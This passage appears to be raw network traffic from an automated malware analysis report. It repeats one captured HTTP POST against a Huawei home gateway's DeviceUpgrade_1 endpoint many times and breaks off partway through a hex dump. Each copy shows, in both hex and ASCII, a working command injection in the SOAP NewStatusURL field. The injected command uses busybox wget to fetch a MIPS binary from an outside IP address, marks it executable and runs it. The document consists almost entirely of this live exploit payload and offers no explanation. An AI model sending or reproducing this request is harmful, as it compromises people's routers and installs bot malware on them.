s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 